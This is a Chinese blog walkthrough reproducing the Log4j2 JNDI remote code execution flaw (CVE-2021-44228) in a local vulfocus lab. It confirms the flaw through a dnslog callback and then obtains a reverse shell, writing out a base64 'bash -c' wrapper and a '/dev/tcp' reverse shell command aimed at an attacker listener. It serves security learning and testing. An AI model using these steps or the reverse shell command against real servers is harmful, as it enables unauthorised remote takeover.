Log4j2远程命令执行漏洞复现-CVE-2021-44228
0x01 前言
近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。
0x02 漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现Apache Log4j 2.15.0-rc1版本存在漏洞绕过,请及时更新至Apache Log4j 2.15.0最新版本。
0x03 环境搭建
本文采用本地搭建vulfocus漏洞平台的方式进行测试,如果不感兴趣可自行跳过本小节。
当然可以使用在线vulfocus。
注意:使用在线vulfocus利用此漏洞时,如果想要反弹shell,则需要一个公网ip。
首先在虚拟机中拉取vulfocus镜像,作者自己的机器为ubuntu 20.04.3 LTS。
输入docker pull vulfocus/vulfocus:latest等待镜像拉取完成。
启动镜像,输入docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.xx.xx vulfocus/vulfocus,这里的VUL_IP输入自己本机地址,如果本机80端口被占用请修改为物理机可用端口(修改左边的80)。
启动成功后,在浏览器输入本机地址加对应端口号。查看是否可以进入vulfocus登录界面。
默认账号密码为admin/admin。登录。
点击镜像管理查询漏洞log4j2,如果没有可以点击一键同步,不过时间很长,我们可以注册登录在线vulfocus查看镜像信息并拉取镜像到本地。首先查看镜像名称。
ubuntu里输入docker pull vulfocus/log4j2-rce-2021-12-09:latest,拉取漏洞镜像到本地。
在本地vulfocus里选择本地导入导入之前拉取到本地的镜像。
然后到首页里去查找漏洞并启动。之后浏览器访问相应地址端口即可查看到环境。
0x04 漏洞复现
vulfocus提供的漏洞环境利用方法是通过post方式访问http://xxxxx/hello post参数为:payload=xxxxx。这里的xxxxx就表示我们需要填入的数据,这里我们可以填入漏洞利用。
打开burpsuite开始抓包,抓取到包并发送到repeater。
在Repeader下右击将get方式改变为post方式并且修改http包两处,如下图中红框标记处。
上图中的马赛克区域就是我们需要填写的恶意数据,这里我们先利用dnslog进行抓包测试,查看是否有相关漏洞。打开dnslog申请一个域名。这里测试的环境为在线vulfocus,如下图所示在填入恶意链接后,有数据发送到了dnslog上,说明此漏洞存在于这个网站。
好,既然存在此漏洞,我们试着利用rmi服务来注入我们的恶意命令,这里作者希望反弹一个shell回来。作者首先使用到一个开源工具,这个工具专门测试jndi漏洞,点击此获取工具链接。
工具如何使用见github页面,这里我们就直接使用起来,首先这个工具需要一个命令让被攻击机器执行,这里我们打算使用bash反弹shell,需要执行的反弹shell命令内容如下:
bash -c {echo,xxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i},这里的xxxxxxxxxx需要填入base64后的反弹shell命令,这里需要利用linux上的base64软件制作。
比如制作的命令为:bash -i >& /dev/tcp/192.168.xx.xx/4444 0>&1,这表示将shell反弹到192.168.xx.xx机器的4444端口,这里读者可以根据自己情况进行配置。
作者最终执行的命令如下图,并且的得到rmi服务链接。
作者这里使用了红框中的链接才反弹成功。
之后我们将此链接填入http包中,如下图所示。
在攻击机器上开启监听,点击发送,得到如下回复包。即可表示注入成功。
查看监听,发现已经获取到反弹shell。
到此,复现完成。
作者复现此漏洞借鉴一位优秀的同事,同事博客点此。感谢。
关于此漏洞的触发原理,作者能力有限,只是略知一二,或许各位读者早已了然于胸,作者在此羡慕不已。但作者本着工匠精神,在参考链接中贴出了网上几篇优秀的文章,有兴趣着可以查看参考链接进行阅读。